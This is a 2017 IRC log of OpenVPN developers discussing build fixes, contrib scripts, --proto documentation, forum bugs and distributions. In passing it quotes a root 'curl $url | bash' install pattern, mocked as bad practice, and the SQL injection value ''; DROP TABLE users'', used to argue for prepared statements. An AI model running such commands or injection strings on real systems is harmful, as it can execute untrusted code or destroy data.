Reproduced on linux - install lz4, remove .pc, configure, baem. 14:03 <@dazo> so since pkg-config is only run if LZ4_CFLAGS/LIBS is not set on the command line ... we can safely set LZ4_LIBS there for the further tests 14:04 <@cron2> testing with the patch 14:05 <@dazo> yeah, I could reproduce it locally too ... and the patch works on my box 14:05 <@cron2> yep, works 14:05 <@dazo> okay, I'll send another patch 14:13 <@dazo> patch just sent 14:16 < CRCinAU> yay 14:16 < CRCinAU> https://security.googleblog.com/2017/10/behind-masq-yet-more-dns-and-dhcp.html 14:16 <@vpnHelper> Title: Google Online Security Blog: Behind the Masq: Yet more DNS, and DHCP, vulnerabilities (at security.googleblog.com) 14:17 <@cron2> yeah, it has been a bad week for DHCP in generall... bugs in Cisco DHCP relay code... 14:18 <@cron2> (as a side note: where does configure put the "conftest.c" files? in the working directory?) 14:20 <@dazo> yeah, I believe so 14:21 <@dazo> it deletes it quite rapidly afterwards 14:21 <@cron2> that explains why it is so fast when running on the downstairs machine, and so absymally slow when running on the desktop - which has my work tree NFS mounted... 14:21 <@cron2> compilation roughly takes the same time, but configure is like 5 times slower 14:22 <@dazo> hehe ... more people running nfs at home :) 14:22 <@cron2> so. couch. more tomorrow :) 14:22 * dazo runs nfs4 with kerberos auth at home :) 14:22 <@cron2> well, these are *unix* systems... exporting files via cifs from a FreeBSD to a Linux box would be so *wrong*... :) 14:23 <@dazo> agreed :) 14:24 <@cron2> buildmaster picked up the change, another run starts in 10 minutes 14:24 <@vpnHelper> RSS Update - gitrepo: lz4: Fix broken builds when pkg-config is not present but system libr… <https://github.com/OpenVPN/openvpn/commit/e5b279f1b62e75569ee8d988b55e6ee0dc93464e> 14:25 * dazo wonders what will explode now .... 14:40 <@ecrist> I've had a hard time getting kerberos to be reliable 14:41 <@ecrist> mostly in an IPA/GSSAPI deployment 14:41 <@ecrist> sssd is shit, imho 15:00 < slypknot> my fuckin hyperv host is over heating due to buildbot ! 15:01 < slypknot> have to put a fon on it ! 15:01 < slypknot> fan* 15:14 <@cron2> buildslaves are mostly green - good! :) 15:22 <@cron2> *sigh*... how I hate computers... my FreeBSD got an update for xpdf, a major one. It has morphed from a Motif app which was oldschool and ugly to a Qt app, which might be nice and shiny, but which just crashes when used over remote X11... 15:23 <@cron2> process 41748: D-Bus library appears to be incorrectly set up; failed to read machine uuid: Failed to open "/etc/machine-id": No such file or directory 15:25 <@cron2> "yes, you f**** piece of sh*t, this is a real computer, there is no D-Bus" 15:48 < slypknot> bbot centos7 failed master .. checking 15:56 < slypknot> buildbot master bug (recieved this email .. see the URL): 15:56 < slypknot> Full details are available at: 15:56 < slypknot> http://10.177.36.101:8010builders/builder-tincan-centos-7-amd64-stable-master/builds/4 15:57 < slypknot> dazo or mattock ? 16:03 < slypknot> centos7 seems happy now .. don't know what the error was .. maybe over scheduling memory for the VMs again. 16:31 < slypknot> but do notice the bug above please 17:22 < CRCinAU> ooooo 17:22 < CRCinAU> Silent Break Security - Darkside Ops: Custom Penetration Testing 17:22 < CRCinAU> This course is delivered by ex US Intelligence employees, where they earned awards for exceptional performance in conducting network cyber-operations. 18:17 <@ordex> morning 18:48 -!- slypknot is now known as sort-R 18:49 -!- sort-R is now known as slypknot 18:49 -!- slypknot is now known as sort-R 18:53 < sort-R> sort dash Random .. 18:54 < sort-R> not only defeating the object but also .. random by how much ? 18:55 -!- sort-R is now known as sort-Rr 18:55 < sort-Rr> arr 18:56 <@ordex> arrrrr 19:03 * ordex pirate 19:05 < sort-Rr> :) 19:06 < sort-Rr> did you see pirates of the caribean ? 19:06 < sort-Rr> RR 19:07 < sort-Rr> or is that "rick rolled" ? 19:12 <@ordex> i have seen only one 19:12 <@ordex> but that's no pirate 19:13 * ordex is real pirate arrrr 19:36 < sort-Rr> arr :) see the others 19:38 -!- sort-Rr is now known as slypknot 21:29 <@ordex> wow, ostif wants to audit openssl-1.1.1 --- Day changed Tue Oct 03 2017 04:48 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 04:50 <@d12fk> exit 04:50 <@d12fk> opps, not a shell here =) 09:04 <@mattock> whoa, finally patchwork is actually detecting patches 09:05 <@mattock> there was a rather nasty issue with a "Welcome" email in Rackspace which did not have "Message-ID" which make patchwork barf badly 09:05 <@mattock> I'll tie in the loose ends tomorrow - then we should have working production instance 09:08 < slypknot> mattock: this is a malformed URL set in email by builbot master : http://10.177.36.101:8010builders/builder-tincan-centos-7-amd64-stable-master/builds/4 09:10 <@mattock> slypknot: missing "/" between IP and patH? 09:10 < slypknot> yep 11:39 <@ordex> mattock: cool! 12:44 <@cron2> I won't make tomorrow's meeting (again!) - need to be in school tomorrow evening at 5:30pm, and it's going to last 2h - so I'll be home right when the meeting is over 12:44 <@cron2> apologies, I had no control about the scheduling 19:08 -!- cron2 [gert@openvpn/community/developer/cron2] has quit [Ping timeout: 258 seconds] 23:04 -!- krzie [~k@openvpn/community/support/krzee] has quit [Ping timeout: 248 seconds] 23:14 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 23:14 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Wed Oct 04 2017 01:42 -!- cron2 [gert@openvpn/community/developer/cron2] has joined #openvpn-devel 01:42 -!- mode/#openvpn-devel [+o cron2] by ChanServ 02:17 <@mattock> sent meeting invitation 02:17 <@mattock> syzzer: will you be able to make it today? 02:17 <@mattock> there's the tls-crypt-v2 topic 02:21 <@ordex> I think with tls-crypt-v2 we are somehow keeping the discussion alive in the chan 02:21 <@ordex> so no need to directly discuss it in the meeting, if syzzer can't be there 02:21 <@mattock> ordex: ok 02:36 < CRCinAU> mattock: ping? 02:37 < CRCinAU> was there anything discussed re 5 a,b,c from the last meeting? 02:37 < CRCinAU> and maybe someone has the summary in their 'Sent Items' or similar? 02:38 < CRCinAU> from: https://community.openvpn.net/openvpn/wiki/Topics-2017-09-27 02:38 <@vpnHelper> Title: Topics-2017-09-27 – OpenVPN Community (at community.openvpn.net) 02:46 <@mattock> CRCinAU: ah, I missed that topic the last time 02:46 <@mattock> adding it to the agenda 02:49 <@mattock> what does "Are they user beware" mean exactly? :P 02:49 <@mattock> "are the users aware" or "do the users beware"? 02:58 <@ordex> or "who cares" 02:58 <@ordex> :P 03:05 <@mattock> good wording 03:07 < CRCinAU> meaning if you use it, 'yolo' 03:08 < CRCinAU> or someone actually looks at them before inclusion. 03:10 < CRCinAU> I tend to think it would be nice to at least have them tested from a 'yep, seems to work' - or maybe a disclaimer in the contrib that the scripts haven't been tested and to report issues to the script author or something 04:49 <@dazo> As CRCinAU is fairly persistent in this channel, and even more persistent in pushing for this script ... I'm leaning towards including it as it is ... but with the agreement we will also kick it out quickly if he disappears and there are issues with it :) 04:49 <@dazo> I can sure set up a test server and test it though 04:52 <@ordex> dazo: I think we should also consider the idea of a contrib repo with "less official" user scripts and plugin maybe ? 04:52 <@dazo> ordex: we've been kinda slacker on contrib/ .... and keychain-mcd backfired :) 04:54 <@dazo> but having a text file inside the contrib directory which labels things "untested - use it on your own risk" is reasonable for things we don't go too deep into. But that most likely won't scare many people if they want to use a feature 04:55 <@ordex> yap 04:56 <@dazo> I mean ..... how seldom do you see this install process described? sudo su - ; curl $url | bash ..... 04:56 <@dazo> (okay, that exact example wont work ... but you'll get the idea :) ) 04:59 <@ordex> :D 04:59 <@ordex> yeah 06:28 < CRCinAU> maybe a github repo for addons is a better example? 06:29 < CRCinAU> then all contrib stuff can be moved to it instead? 06:29 < CRCinAU> that way it ships out the requirement to put it in the official tarball 06:31 <@ordex> CRCinAU: if we have to make a separate rpeo, then anybody could do it, so that the effort in maintenance can be distributed 06:31 <@ordex> then we could keep a list of these repos in the wiki 06:31 <@ordex> (maybe) 06:31 <@cron2> not sure this is a good way forward 06:31 < CRCinAU> I figure a single repo that people can put pull requests to.... 06:31 * cron2 looks at radiusplugin, which is currently spread across a number of forks, and all versions are stale and unmaintained 06:32 <@ordex> yeah 06:32 <@ordex> the problem is that once you put stuff in a repo, people expect you to maintain it (aka fix bugs) 06:32 < CRCinAU> have any bugs been fixed / reported in the contrib stuff? 06:36 <@ordex> no idea 06:52 < slypknot> looks like yubikey realise the need : https://developers.yubico.com/yubico-pam/YubiKey_and_OpenVPN_via_PAM.html 06:52 <@vpnHelper> Title: YubiKey and OpenVPN via PAM (at developers.yubico.com) 06:53 <@ordex> openvpn 2.0.9? 06:53 <@ordex> myass0.1 ? 06:53 <@ordex> :D 06:54 < slypknot> oh .. that is a shame .. perhaps CRCinAU can hassle them to update thier docs 06:57 < slypknot> eg: "Please use OpenVPN server Version 2.0.9 (Latest Stable Version), as older and newer beta versions have problems with PAM libraries" 06:57 < slypknot> CRCinAU: time to do your thang at yubikey.com 06:57 < slypknot> yubico 06:57 * ordex unleashes the beast 06:58 < CRCinAU> yeah - but to offer an alternative, it needs to be there :P 06:59 < slypknot> i don't think promoting openvpn 2.0.9 is a good idea tho .. you like hassling people .. hassle someone who deserves it ! ;) 07:00 < CRCinAU> I reakon openvpn-contrib here: https://github.com/OpenVPN 07:00 <@vpnHelper> Title: OpenVPN · GitHub (at github.com) 07:00 < CRCinAU> then accept pull requests for contrib stuff 07:03 < slypknot> CRCinAU: go on .. send a mail or something to yubico 07:18 < CRCinAU> but what am I going to say? Use this script instead of your custom binary PAM module - but not have the script anywhere but on the mailing list as an RFC? :P 07:21 < slypknot> ask them to stop using 2.0.9 07:27 < CRCinAU> Done. 07:28 < slypknot> cool ;) 07:34 < CRCinAU> anyhow - Im pooped.... time to sleep... 10:00 <@cron2> syzzer: are you back in euroland? 19:38 <@ordex> dazo: while sleeping I thought about this: the problem with DH-like approaches is that you can't do DoS protection. You basically have no way to understand if the initiated DH session is ok or not. while using a pub key, the server can immediately verify if the packet is valid or not and in negative cases not reply at all 19:56 <@ordex> mattock: btw the Tested-by works, there is a patch in pw that has T=1 --- Day changed Thu Oct 05 2017 01:15 <@vpnHelper> RSS Update - tickets: #940: OpenVPN >2.4 Restart pause, 300 second(s) too high <https://community.openvpn.net/openvpn/ticket/940> 01:40 <@ordex> aloha 01:57 < CRCinAU> ssshhhh 01:57 < CRCinAU> ;) 02:27 <@ordex> syzzer: regarding my question yesterday in #openvpn. I found "your" answer in the code: 02:27 <@ordex> 538 msg(M_WARN, "mbed TLS does not support writing peer certificate in PEM format"); 02:27 <@ordex> :( 02:29 <@ordex> nice to see that syzzer, even if not here, can speak through the code 02:29 <@ordex> :D 02:32 <@ordex> mh although this string was introduced by Adriaan de Jong on 2011 02:32 <@ordex> anyhow 03:39 <@cron2> syzzer and adriaan are close colleagues :) 04:08 <@dazo> ordex: right 04:09 <@dazo> actually adriaan passed over the openvpn project to syzzer when adriaan moved to other projects :) 04:09 <@dazo> and adriaan is the one who did the heavy lifting modularizing the ssl layers in OpenVPN + add the initial PolarSSL support 04:15 <@dazo> If I would have the ProfileMerge class from ovpn3 core in Python, I'd redo it all in Python :-P 04:15 <@dazo> oh wrong window 04:22 <@cron2> lol 07:00 <@ordex> :D 07:00 <@ordex> shame on dazo! 07:00 <@dazo> :-P 09:16 < CRCinAU> yeah - so good topic about contrib stuff 09:17 < CRCinAU> I'm keeping quiet for now to not try and railroad any good ideas people might come up with :p 09:23 < CRCinAU> also, if anyone understands this: https://research.kudelskisecurity.com/2017/10/04/defeating-eddsa-with-faults/ 09:23 <@vpnHelper> Title: How to defeat Ed25519 and EdDSA using faults (at research.kudelskisecurity.com) 09:23 < CRCinAU> wtf. 09:23 < CRCinAU> but now, sleep time. 09:27 <@ordex> :) 09:27 <@ordex> gnight! 21:51 <@ordex> dazo: I personally think there is still confusion in the --proto explanation in the man (maybe the problem is not the 'description' but actually the 'implementation') --- Day changed Fri Oct 06 2017 01:25 <@cron2> dazo: I'd get rid of the table, because it is not correct - "udp6" in 2.3 (v6-*only*) is not "udp" in 2.4 (dual-stack) 01:47 <@ordex> yeah 01:47 <@ordex> dazo: but is it orrect to call "udp" dual-stack ? 01:47 <@ordex> when i read dual-stack i imagine that the server will listen on both, and this is not true with "udp", as far as I remember 01:48 <@ordex> cron2: ^^ sorry it was for you 01:52 <@cron2> ordex: on the client side, udp is somewhat better defined: "ask getaddrinfo() what the other side has, and use that, without restrictions" (while udp4/udp6 add "only *this* AFI" restriction) 01:53 <@cron2> on the server side, since we have no multi-socket listen, there are technically only "udp4" and "udp6" sockets, and the udp6 sockets can be told to go dual-stack 01:54 <@cron2> so, udp4 on the server will force v4, udp6 on the server will open a v6 socket and either bind v6-only or v4+v6 (if the OS persist) 01:54 <@ordex> right 01:54 <@cron2> "udp" will tell getaddrinfo() "give me a suitable socket address for binding a server to!" 01:54 <@ordex> this is a perfect understandable behaviour for us I think (server side) but not for users hehe 01:54 <@ordex> yeah 01:54 <@cron2> and what happens then is implementation dependent - you might end up with an IPv4 socket or with an IPv6 socket 01:54 <@ordex> right 01:55 <@ordex> what creates the confusion, imho, is the word dual-stack when associated with server 01:55 <@ordex> youe explanation now was perfectly clear 01:55 <@ordex> maybe this can be smoothened and put in the manual 01:56 <@cron2> dazo: are you listening? ;-) 01:56 <@ordex> although I agree wth some user that said that it would be better to make things in a way that they work consistently across platforms 01:56 <@cron2> yes 01:56 <@ordex> so, rather than mapping config options to C instructions, we should map config options to "behaviours" 01:56 <@cron2> but it's complicated... 01:56 <@ordex> oh yeah, that's true 01:56 <@ordex> in the ifdef jungle .. 01:56 <@ordex> which makes it even harder 01:57 <@ordex> but if at least we agree that this is the way to go, we could slowly try to go that direction 01:57 <@cron2> this is worse than #ifdef :) - it's run-time dependent. On a given system, getaddrinfo() could give you IPv6 for one call, and IPv4 on the next (because the user decided to unload ipv6.ko) 01:58 <@cron2> so "udp" should really try "give me ipv6-dualstack" and if that fails, retry with ipv4-only - but the way we currently do getaddrinfo() "somewhere" and bind "somewhere totally else, and only once" makes this... tricky 01:59 <@ordex> yap 01:59 <@cron2> maybe we can get plaisthos interested in this again :) 01:59 <@ordex> :) 02:01 <@ordex> cron2: have we ever tried to attach openvpn to some bounty system ? 02:01 <@ordex> like bountysource 02:01 <@cron2> I don't think so 02:02 <@cron2> talked about bounties, yes, but something specific, no 02:02 <@ordex> I tried to see how that could work (not sure if I made the link or if it was there already) but it basically links to issues in github 02:02 <@ordex> so it totally community driven 02:04 <@ordex> ok 03:52 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 264 seconds] 03:53 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 03:53 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 03:55 * dazo listens :) 03:56 <@dazo> I'll admit that man page update was just a quick "braindump" .... to start the discussion, I had no expectation of immediate acceptance :) 03:56 <@cron2> it's a necessary rework, we just disagree about the details :) 03:57 <@dazo> I've just seen this topic appearing several places .... so I wanted to get the ball rolling when I noticed we don't mention the variations of udp/tcp 03:57 <@dazo> :) 03:59 <@dazo> [OT] ... encrypted git repos via Keybase.io .... interesting concept ... https://keybase.io/blog/encrypted-git-for-everyone 04:00 <@vpnHelper> Title: Keybase launches encrypted git (at keybase.io) 04:58 <@ordex> dazo: encrypted? 04:59 <@ordex> oh ok, encrypted storage for private repos 05:00 < CRCinAU> *sigh* 05:00 < CRCinAU> http://forum.gigabyte.us/thread/740/official-ab350-gaming-owners-club?page=40 05:00 <@vpnHelper> Title: *** Official AB350 Gaming 3 Owners Club *** | GIGABYTE USA Forum (at forum.gigabyte.us) 13:26 <@cron2> yeah. Gentoo falls apart in interesting ways if you fail to upgrade for more than 3 years... 13:26 <@cron2> (unsurprisingly) 13:26 <@cron2> now what am I going to do with this machine... 13:28 * cron2 reboots into windows 14:02 < m-a> uh 14:02 < m-a> install Fedora :_) 14:02 <@cron2> nah 14:03 <@cron2> (it's likely to be lubuntu) 14:07 < m-a> I personally am moving out of Ubuntu installations and am replacing them with FreeBSD (for servers) and Fedora (for desktops) 14:07 < m-a> not meaning to start a distro war, but Ubuntu bug [non-]response isn't to my taste 14:08 <@cron2> yeah... that's the distribution cycle dance... I started out with SuSE and Redhat, got annoyed, moved to FreeBSD for servers and Gentoo for desktops, and nowadays have taken a liking for debian shrink-wrapped in nice gift paper = ubuntu :-) 14:08 <@cron2> (RedHat Linux, that is, 10 years before "Fedora") 14:08 < m-a> Ubuntu has served me for ~ ten years, before that it was openSUSE. 14:10 < eworm> for me it was: SuSE, LFS, Gentoo, Arch 14:25 <@dazo> I've used: Slackware, (CRUX and Root Linux on some servers in this period), Gentoo, Ubuntu, Fedora, and now most commonly Scientific Linux and RHEL 14:25 <@dazo> (and Fedora, Debian and Ubuntu in VMs used for testing) 14:26 <@dazo> oh, I forgot, I briefly used openSUSE before Ubuntu ... but couldn't use it due to a WLAN driver bug which made the access point at the office panic and needed a reboot 14:27 <@cron2> lol 15:41 < slypknot> dazo: i'm not being picky but .. i count nine un-escaped dashes in your openvp.8 patch ;) 15:43 <@dazo> slypknot: eeek! 15:43 <@dazo> slypknot: glad you caught them! Will fix! .... just need to agree on the other details in the text too :) 15:45 <@dazo> I really tried hard to not overlook those ... but clearly failed :) 15:49 < slypknot> sure thing ;) 15:49 < slypknot> if you kept that bash script you could just run it once before each release --- Day changed Sat Oct 07 2017 11:18 <@syzzer> cron2: nope, will be back on 20 Oct, then need to sleep for a weekend :-p 11:19 <@syzzer> CRCinAU: yeah, fault attacks are cool, frightening and magic at the same time ;-) 11:20 <@syzzer> last week at the CHES conference, there was this guy with a talk about using a cycloctron to create an powerfull focussed X-ray beam to toggle RAM bits... 11:21 <@syzzer> https://ches.iacr.org/2017/slides/ches2017s3t1.pdf 11:23 <@syzzer> and sorry, openvpn is loosing the race for cycles from visiting national parks and drinking Taiwanese Winter Melon beer :D 11:33 <@cron2> your priorities are all skewed up... too many x-ray beams, I say --- Day changed Sun Oct 08 2017 14:53 <@vpnHelper> RSS Update - tickets: #941: Date format does not follow $LANG, making opensvn output hard to understand <https://community.openvpn.net/openvpn/ticket/941> 16:17 < slypknot> ecrist: [oconf=x] does not strip <tls-auth> data .. and if you do press "view original" it inserts newline per every existing newline 20:59 <@ordex> morning ! 21:26 <@vpnHelper> RSS Update - tickets: #942: IOS client needs drag and drop support for importing config files .ovpn <https://community.openvpn.net/openvpn/ticket/942> 21:32 <@vpnHelper> RSS Update - tickets: #943: Split screen support is needed for Openvpn connect <https://community.openvpn.net/openvpn/ticket/943> 21:50 <@vpnHelper> RSS Update - tickets: #944: I should be able to open/drag a .zip file containing multiple .ovpn and it should extract the .zip and import all the .ovpn files that were contained in that .zip <https://community.openvpn.net/openvpn/ticket/944> --- Day changed Mon Oct 09 2017 01:31 <@cron2> mmmh, wish list day 01:31 <@ordex> hehe 01:32 <@ordex> good to have some feature requests 01:32 <@cron2> yeah, but "drag and drop support is *critical*"? 01:33 <@ordex> :D 01:33 <@ordex> it seems this guy wants to do mass import of profiles 01:33 <@ordex> he didn't say that before, but that appeared after i asked another question 01:33 <@ordex> also because ... why drag and drop if you can directly download *into* the app 01:34 <@ordex> ah the severity .. hadn't seen it :D 01:35 <@cron2> indeed, drag and drop from safari does not make much sense. from the file browser, I could see some use. 01:37 <@cron2> and #944, yeah, let's have a .zip, .lha, .tar.gz, ... parser in openvpn connect 01:37 <@ordex> :D 01:37 <@ordex> people are getting lazy 01:38 <@ordex> interesting is that this guy is focussing on all kind of features 01:38 <@ordex> but he has not made any request for the *core* funcionality: mass import 01:38 <@ordex> which is currently not supported 01:38 <@ordex> and there is no concept yet 01:38 <@ordex> anyway 01:38 <@cron2> ... but not bothering to at pick a proper nickname :) 01:38 <@ordex> haha 01:38 <@ordex> :D 01:39 <@ordex> maybe it's just the transliteration from another alphabet .. who knows :P 01:39 * ordex is sure it is not 01:39 <@ordex> :P 03:58 <@dazo> hehe .... well, even more funny that it was put into the "Feature Removal Process" ... something we've never really used (except once very early before the 2.2 release) 05:51 <@cron2> indeed :-) (the others were in "feature wish", which is just one selection away) 07:02 < CRCinAU> hrrrm 07:03 < CRCinAU> so I'm replacing my personal RHEL7 servers with Fedora..... 07:03 < CRCinAU> am I sane in doing so? Or its worthwhile? 07:10 <@cron2> you will have to be banned from different channels... 07:11 < CRCinAU> hahahahah 07:11 < CRCinAU> I haven't been banned from a Fedora channel yet - which is quite good ;) 07:15 < slypknot> Re https://community.openvpn.net/openvpn/ticket/940 .. has nobody told this guy about --connect-retry ? 07:15 <@vpnHelper> Title: #940 (OpenVPN >2.4 Restart pause, 300 second(s) too high) – OpenVPN Community (at community.openvpn.net) 07:30 <@ecrist> slypknot: do you have a page that demonstrates that? 07:32 < slypknot> ecrist: sure https://forums.openvpn.net/viewtopic.php?f=1&t=24991 .. 07:32 <@vpnHelper> Title: Openvpn Server - External access Windows computers [ Error ] - OpenVPN Support Forum (at forums.openvpn.net) 07:33 < slypknot> the OP originally used [code] and included full details of all cert/keys 07:33 < slypknot> I edited it and found that 07:35 < slypknot> ecrist: another Q: is it possible to increase the number of post listed as "Quick links -> new posts" .. there are not enough to manage to keep track of things 07:40 < slypknot> I only get six posts in new posts .. I used to get a few pages 07:48 <@ecrist> ok, I fixed the tls-auth thing 07:48 <@ecrist> when I go to new posts, I get 3 pages of threads 07:48 <@ecrist> a total of 50 07:52 <@ecrist> The extra new lines thing is a bug caused by the new forum style. 07:52 <@ecrist> I'll have to ferret out that problem. 08:03 < slypknot> ecrist: i noticed a few months ago that "new posts" only gave very few posts and it seems to reset on monday so that I get even fewer (today only six posts) .. I realise it will not be a priority for you so (if you don't mind) i will ask about it in #phpbb .. 08:16 <@ecrist> slypknot: maybe there is only six new posts for you? 08:16 <@ecrist> like I said, the feature is working for me. 08:27 < slypknot> ecrist: yes .. i understand there are only six posts for me .. but if that is configurable then for me it would be much better if new posts showed more than currently. 08:28 < slypknot> I have a good example here: 08:29 < slypknot> This post https://forums.openvpn.net/viewtopic.php?f=15&t=24878 .. made on oct-4-17 is no longer on my list but I would really prefer that it is 08:29 <@vpnHelper> Title: Control Restart Pause value on OpenVPN Service client (now 300 seconds) - OpenVPN Support Forum (at forums.openvpn.net) 08:29 < slypknot> it is only 5 days old and it is exactly the same as this: https://community.openvpn.net/openvpn/ticket/940 08:29 <@vpnHelper> Title: #940 (OpenVPN >2.4 Restart pause, 300 second(s) too high) – OpenVPN Community (at community.openvpn.net) 08:30 < slypknot> so that had me chasing around the forum looking for it (cos I knew it was there) but it was impossible to find using the forum or google or duckduckgo 08:31 < slypknot> luckily the OP of #940 included a link to it 08:31 <@ecrist> Had you read it at one point? 08:31 <@ecrist> Or did you click, "mark all forusm as read?" 08:32 < slypknot> yes 08:32 < slypknot> no i read it 08:32 <@ecrist> So, if you read the post, then it won't show up in your "new" list 08:32 < slypknot> that is not the "new" criteria 08:32 <@ecrist> sure it is 08:32 < slypknot> other wise i would have zero "new" posts 08:34 < slypknot> I know you're busy so don't worry about it .. but if i ask about it in #phpbb maybe it is configurable and so could be set to look further back 08:34 <@ecrist> what are you expecting to see? 08:35 < slypknot> more posts that are recent .. 08:35 < slypknot> it used to work fine but something changed a while ago 08:36 < slypknot> and every monday it cuts me off again 08:36 <@ecrist> https://www.phpbb.com/community/viewtopic.php?f=46&t=943995 08:36 <@vpnHelper> Title: phpBB How does " View new posts" work? (at www.phpbb.com) 08:36 <@ecrist> apparently it's between logins 08:36 < slypknot> so last night I had that post above on my list still (even though it had been read at least twice) 08:36 < slypknot> ah .. logins ok 08:37 < slypknot> do you mind if i ask about it in #phpbb ? 08:37 <@ecrist> there appears to be a lot of questions in google asking the same things you are 08:37 <@ecrist> the result appears to be the same. 08:38 < slypknot> what did you ask google ? 08:44 <@ecrist> phpbb new posts 08:45 < slypknot> yeah i just read the link you pasted 08:45 < slypknot> I think the phpbb devs changed something because that is *not* how it used to work 08:47 <@ecrist> eh, these posts date back to 2008, and it seems to be a common change. 08:47 <@ecrist> that said, we did upgrade the forum about a month ago 08:48 <@ecrist> upgrades usually involve changes, so, you're probably not far off that something did change. 08:48 < slypknot> in fact .. the description they give (name: brf support member) is *not* how it works 08:48 < slypknot> i guess they have some bugs 08:48 <@ecrist> before assuming there is a bug, it might be best to figure out how it is supposed to work. 08:48 < slypknot> right now my new list is empty but there is a notification of a new post 08:49 < slypknot> so "no new posts" on the list "one new post" in notifications 08:49 < slypknot> that sounds like a bug to me 08:50 <@dazo> CRCinAU: Fedora might be more stable these days ... I moved to RHEL 7 around the time Fedora 19 hit the streets, and lots have happened since that time 08:51 <@ecrist> slypknot: see here: https://pastebin.ca/3885117 08:52 <@dazo> CRCinAU: but I've been very happy with RHEL7 Server on the local laptop - using it as a primary desktop .... I have in former jobs tried to use RHEL 7 Workstation, that was lacking so much packages I use for development - so I had to additionally enable those repos through some ugly hacks (I probably should have "re-purposed" the box to a server instead) 08:52 <@ecrist> That is the actual SQL and PHP code that decides newposts. 08:52 <@ecrist> You can see the conditional starting on line 17 of that paste. 08:53 <@dazo> eeek ..... no prepared SQL statements ... building up the SQL dynamically ... I sure hope input data is properly sanitized :/ 08:53 < slypknot> ecrist: let's not worry about this now, i was only asking .. what i'll do is setup my own phpbb and play around with it ..*if* i can find anything usefulk i'll let you know 08:53 <@dazo> (this is an issue most PHP based code has) 08:54 < slypknot> and thanks for taking the time :) 08:55 < CRCinAU> dazo: yeah... I do a lot of stuff on RHEL7 08:55 < CRCinAU> but I also build a ton of packages with updated stuff - just because 08:55 < CRCinAU> whereas those versions are pretty much already available in Fedora .... 08:55 <@dazo> yeah, the version gaps can be annoying at times 08:56 < CRCinAU> http://au1.mirror.crc.id.au/repo/el7-extra/SRPM/ <-- that's all the stuff I build and update 08:56 <@vpnHelper> Title: Index of /repo/el7-extra/SRPM (at au1.mirror.crc.id.au) 08:56 <@dazo> But I ended up appreciating stability over more newer packages :-) 08:56 <@dazo> (it didn't hurt what I was supposed to work on as much) 08:57 <@ecrist> dazo: what is an issue most PHP based code has? 08:58 <@dazo> ecrist: not using prepared SQL statements .... or abusing prepared statements ... as SQL injection attacks are fairly trivial if the input data isn't sanitized properly 08:58 <@ecrist> dazo: you're statement seems rather broad. I've seen just as much python and perl dynamically build SQL statements, as well. 08:58 <@dazo> ecrist: with prepared SQL statements .... you can't escape out of the "variable" scope like '; DROP TABLE users' 08:59 * ecrist is familiar with prepared statements 08:59 < CRCinAU> ahh yes - SQL injection and PHP :P 08:59 < CRCinAU> doesn't help that until ~5.5 they had official documentation for PHP that wasn't injection safe. 08:59 <@ecrist> dazo: dynamically built SQL queries are common in most languages. You can still prepare those built queries. 09:00 <@dazo> ecrist: Python can use SQLAlchemy, which does most of that for you quite well ... but when I see "WHERE p.post_time > ' . $user->data['user_lastvisit'] . '" ... you need to be very confident of the data the $user object contains 09:00 <@ecrist> dazo: of course you do. 09:00 <@dazo> last famous words ;-) 09:01 <@ecrist> I think you're just hating on PHP 09:02 < CRCinAU> nah - just PHP has historically been bad for that shit 09:02 <@dazo> ($user in this context might be just fine ... but wherever user provided data gets passed to the server, those approaches need to be properly sanitized) 09:02 <@dazo> CRCinAU++ 09:02 <@ecrist> I blame the developers that use PHP, not the laguage. 09:02 < CRCinAU> so you end up with stuff like: mysql_real_escape_string and mysql_escape_string 09:02 <@ecrist> dazo: there's no need here for SQL Injection 101 09:03 <@dazo> well, there are issues with the PHP language as well ... but I can live with that ... PHP have its uses, and there's lots of PHP based software with good features .... but I have seen little of really high-standard PHP projects which does things really well 09:04 < CRCinAU> anyhow - the hate is because even the official docs had it wrong until well into the 'mature' product it is today 09:05 < slypknot> dazo: technically it is "famous last words" (in that order ;) 09:05 <@dazo> yeah, PHP 7 might actually be quite reasonable these days ... but due to all those various issues in the past, I've generally found Python + uwsgi + nginx being much more reliable 09:05 <@dazo> slypknot: ahh, thx! :) 09:05 < CRCinAU> you know the best demo I saw on PHP? 09:05 * dazo will remember to try :-P 09:05 <@dazo> CRCinAU: what? 09:05 <@dazo> <? die(); ?> 09:05 <@dazo> ? 09:06 < CRCinAU> doing binary patching of its own memory space to enable system() calls for arbitary code passed via a web page. 09:06 <@dazo> oh, that is "cool"! :) 09:06 < CRCinAU> and a live demo on the 'run your code on this site to get the output' sites that did a: ls -l / 09:06 < CRCinAU> even though system() was disabled in php.ini 09:06 < CRCinAU> this was in php 7.1 09:06 <@dazo> eek 09:07 < CRCinAU> yep - it opened my eyes a little.... 09:08 < CRCinAU> I'm not sure it was ever publicly released as a PoC - as I'm not sure it got patched or fixed.... 09:08 <@dazo> but it surely does illustrate how difficult it is to write safe languages ... and I'm not going to claim other scripting languages are safer 09:09 <@dazo> I'd expect that one to be patches .... that one is definitely a critical CVE 09:09 < CRCinAU> yeah - to me it shows a structural flaw - meaning the entire check if system should be enabled was like: if ( $disable_system_calls eq 1 ) { return null; } 09:09 < CRCinAU> the guy had ~70 other examples of functions etc that had these similar type issues 09:10 < CRCinAU> that was almost a year ago now 09:11 < CRCinAU> I can't find any mention of CVEs or anything with what I'd expect to find it for in google searches 09:11 <@dazo> I once (probably 15 years ago) experimented with PHP and storing .php files in a database ... where you edited files and executed them ... kind of like a "PHP OS in the browser" ... but I stopped digging into it, because it was incredibly hard to make this secure ... This was with PHP4 though, but still. 09:12 < CRCinAU> I'm pretty sure it was this guy: http://2016.ruxcon.org.au/speakers/#Emmanuel Law 09:12 <@vpnHelper> Title: Speakers » Ruxcon Security Conference (at 2016.ruxcon.org.au) 09:12 < CRCinAU> was very difficult to understand him through the accent - but the shit he demoed was.... worrying lol 09:14 <@dazo> I've done real-time kernel qa, at the time Brad Spengler (spender) went amok against SELinux .... where he actually found ways in RHEL5/RHEL6 kernels to become root from unprivileged users - most of them only worked *if* SELinux was enabled 09:14 < CRCinAU> in fact, this might be him: https://www.youtube.com/watch?v=I29FEZn1pw4 09:15 < CRCinAU> similar talk earlier this year 09:15 < CRCinAU> much better to understand him here - maybe better audio :P 